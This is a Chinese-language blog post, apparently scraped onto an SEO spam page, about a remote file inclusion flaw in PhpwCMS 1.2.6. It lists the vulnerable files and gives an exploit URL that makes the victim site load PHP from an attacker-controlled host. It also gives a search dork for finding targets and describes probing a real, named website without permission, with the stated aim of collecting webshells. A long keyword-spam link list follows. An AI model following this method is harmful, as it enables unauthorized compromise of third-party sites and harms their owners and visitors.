駭客如何利用檔包含Web Design漏洞進行網站入侵
最近想學習一下檔包含漏洞,在無意中看見了關於檔包含的漏洞公告。大致的意思是這樣的,PhpwCMS 1.2.6系統的下列檔存在檔包含漏洞:include/inc_ext/spaw/dialogs/table.php
一、看見漏洞公告
最近想學習一下檔包含漏洞,在無意中看見了關於網頁設計檔包含的漏洞公告。大致的意思是這樣的,PhpwCMS 1.2.6系統的下列檔存在檔包含漏洞:include/inc_ext/spaw/dialogs/table.php
include/inc_ext/spaw/dialogs/a.php
include/inc_ext/spaw/dialogs/colorpicker.php
include/inc_ext/spaw/dialogs/confirm.php
include/inc_ext/spaw/dialogs/img.php
include/inc_ext/spaw/dialogs/img_library.php
include/inc_ext/spaw/dialogs/td.php
檔中的$spaw_root的沒有過濾網站設計的情況下,包含'**class/lang.class.php'。具體的代碼公告中沒給出來。可以利用下面的url利用此漏洞,http://website1/include/inc_ext/spaw/dialogs/table.php?spaw_root=http://website2/,其中website1是有漏洞的網站,website2是攻擊的網站,website2所在的目錄下有class/lang.class.php文件。
二、學習的第一天
馬上行動,我用google搜索inurl:"phpwcms/index.php?id=",搜索到54,800多項結果,基本上都是國外的。看來這次發了,這次國外的wenshell肯定是一大堆了。呵呵......,嘿嘿......隨便點擊一個網站,是美國的:http://arena-sv.jans-webdesign.com,不知道這個網站有沒有漏洞。我用http://arena-sv.jans-webdesign.com/phpwcms/include/inc_ext/spaw/dialogs/table.php?spaw_root=http://www.baidu.com/檢測,當然http://www.baidu.com/class/lang.class.php是不存在的網頁寄存,這時頁面顯示如圖一所示,提示沒有找到頁面。這表明了這個網站存在檔包含漏洞,象這樣的有漏洞的網站隨便點擊一個就是。
檢測出有檔包含漏洞
現在開始利用這個漏洞,在我的支援asp網站根目錄建一個class的目錄,在class裏面建lang.class.php文件。但是當我用流覽器流覽http://www.xxxx.xx/class/lang.class.php的時候,提示找不到檔。難道是我的網站所在的伺服器沒設置好嗎?我試著找到了幾個webshell,流覽的時候還是出現找不到檔的問題。
鬱悶啊......如果能建一個txt檔代替class/lang.class.php 多好啊。我問了我們工作組的學linux的同學,他們說可以用問號優化。但是偶不會啊,聽上去很複雜的,等明天再來做吧,休息,休息。
友情鏈接: CRM SEO SEO優化 網上推廣 網上廣告 搜尋器優化 網站優化 網站排名 Web Design 網頁設計 婚禮 婚禮統籌 Wedding Planner 婚禮 美容 Beauty 美髮 整容 塑身 風水 Feng Shui 風水學 環境學 寵物 Pet 環保袋 Recycle Bag 環保購物袋 珠寶 Jewellery 防火牆 Firewall 物流 Logistics 條碼 Bar Code 會計 月餅 果籃 模特兒 機場接送 機票 水上活動 水族 汽車模型 泰拳 海外升學 清潔 湯瑪士火車 滅蟲 潛水 澳門酒店 激光矯視 燒烤 營養師 物理治療 瑜珈 SEO Course SEO培訓課程 創業課程 創業賺錢 網上創業課程 青年創業 青年人創業 網上營銷 ERP POS 時裝批發 Fashion 化妝 Make Up 花店 Flower Shop 健康食品 Healthy Food 減肥 Weight Loss K金 K金回收 飾金回收 首飾回收 白金回收 Gold K Gold 18K 14K 網上商店 網頁設計 網頁設計模板 CMS操作視頻下載 CMS CMS視頻 Web 3.0 網路行銷 電郵服務 電子商務 認字 記憶法 Playgroup 記憶課程 記憶班 Memory course SEO Training SNS 社交網站 SNS Marketing eMarketing Internet Marketing e Marketing
留言列表
